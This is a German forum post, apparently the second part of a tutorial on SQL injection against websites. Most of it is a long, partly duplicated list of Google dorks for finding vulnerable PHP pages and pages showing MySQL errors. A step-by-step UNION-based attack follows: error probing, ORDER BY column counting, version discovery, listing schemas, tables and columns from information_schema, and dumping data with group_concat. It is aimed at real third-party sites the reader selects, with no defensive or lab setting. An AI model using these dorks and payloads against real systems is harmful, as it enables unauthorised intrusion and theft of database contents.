Hier nun part 2 für eine SQLi
Hier geht es darum nicht einfach Zugriff auf Website Content zu erhalten,
sondern Zugriff auf Datenbanken zu erhalten.
Einleitung etc. Spare ich mir mal jetzt, da ich in part 1 bereits viel erklärt
habe. Also gleich zur Durchführung:
Zuerst muss eine Schwachstelle gefunden werden, um die injection
durchzuführen, wie schon in part 1 erwähnt dafür gibt es sogar
fertige Programme aber man kann auch ganz einfach Google nutzen.
Nach was wird gegoogelt? Dateianhänge von Webanwendungen mit möglichen
Schwachstellen, beispielsweise eine beliebige Datei aus einem Foren
ordner.
Diese Datein sind für SQL Injections auch als "dorks" bekannt.
Hier habe ich mal einige von google:
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurltray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
newsid=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
"id="
& intext:"Warning: mysql_fetch_assoc()
"id=" &
intext:"Warning: mysql_fetch_array()
"id=" &
intext:"Warning: mysql_num_rows()
"id=" &
intext:"Warning: session_start()
"id=" &
intext:"Warning: getimagesize()
"id=" &
intext:"Warning: Unknown()
"id=" &
intext:"Warning: pg_exec()
"id=" &
intext:"Warning: array_merge()
"id=" &
intext:"Warning: mysql_result()
"id=" &
intext:"Warning: mysql_num_rows()
"id=" &
intext:"Warning: mysql_query()
"id=" &
intext:"Warning: filesize()
"id=" &
intext:"Warning: require()
Um diese dorks nun zu nutzen müssen sie in Google eingegeben werden,
vor den "dork" muss jedoch noch "inurl:"
hinzugefügt werden, bei vielen meiner kleinen Auswahl steht es
bereits dabei.
Nun findet Google Websiten mit den gesuchten dorks.
Wenn ihr nun euer Ziel vor Augen habt könnt ihr ganz leicht testen ob es
für eine Injection anfällig ist, indem ihr an die URL ein '
anhängt.
Wenn nun ein SQL Error zum Vorschein komm ist eine sqli möglich.
Wenn es möglich ist muss geprüft werden, wie viele mögliche Zugänge
vorhanden sind.
Dies ist simpel, mit Pech jedoch zeitaufwendig
Dazu muss man erneut die URL ändern:
|
|
Quellcode
|
1
|
http://gewählteseite.de/gewähltesDork order by 1--
|
nun steigert man die hinterstehende Zahl immer weiter.
Irgendwann bekommt man einen Error weil es nicht mehr gibt. Wichtig: merken bis
zu welcher Zahl es ging!
Nun wird geprüft welche dieser Möglichkeiten für uns als Eintritt
geeignet ist.
|
|
Quellcode
|
1
|
http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+1,2,3,4,5--
|
(falls es 5 Möglichkeiten gibt, wenn es mehr sind hört ihr mit der letzten
Möglichen Zahl auf.)
Nun bekommt ihr auf der folgenden Seite eure ersten Ergebnisse. Dort
sollten ein paar Zahlen zu finden sein, dies sind eure
Eintrittskarten.
Möglicherweise kennt ihr die MySQL Version eurer Zielscheibe bereits, wenn nicht
müsst ihr sie ermitteln. Dies ist ebenfalls nicht schwer. Ihr müsst
nur in der URL die 1 mit @@version austauschen
also wie folgt:
|
|
Quellcode
|
1
|
http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+@@version,2,3,4,5--
|
Die aufgerufene Seite verrät euch die Version der Datenbank.
Wenn ihr Glück habt ist die Version neuer als MySQL 5, denn alles
dadrunter ist schwer mit einer injection zu "bearbeiten".
Nun müsst ihr den Namen der gewünschten Datenbank finden. Diese URL ist
für die Userlist:
|
|
Quellcode
|
1
2
|
http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+group_concat(schema_name),2,3,4,5+
from+information_schema.schemata--
|
Nun werdet ihr zu sehen bekommen, welche user Datenbanken vorhanden sind.
Zeit rauszufinden, welche in Benutzung ist.
|
|
Quellcode
|
1
|
http://www.gewählteseite.de/gewähltesDork+UNION+SELECT+concat(database()),2,3,4,5--
|
nun könnt ihr sehen welche in Benutzung ist, am besten notieren.
Datenbank gefunden. Nun zu den Tabellen! Dieser Syntax wird alle vorhandenen
Tabellen sichtbar machen:
|
|
Quellcode
|
1
2
3
|
http://www.gewählteseite.de/gewähltesDork
union select group_concat(table_name),2,3,4,5 from
information_schema.tables where table_schema=database()--
|
Nun brauchen wir die Namen der Säulen
|
|
Quellcode
|
1
2
3
|
http://www.gewählteseite.de/gewähltesDork
union select group_concat(column_name),2,3,4,5 from
information_schema.columns where table_schema=database()--
|
Wir haben nun alles was wir brauchen um endgültig ans Ziel zu kommen.
Schmeissen wir die gesammelten Informationen in eine neue URL:
|
|
Quellcode
|
1
2
3
|
http://www.gewählteseite.de/gewähltesDork
union select 1,group_concat(SäulenName,0x3a,SäulenName,0x3a),2,3,4,5
from DatenbankName.Tabellenname--
|
Ziel erreicht
Mfg
scheiss 5fach edits... nie wieder openoffice -.-'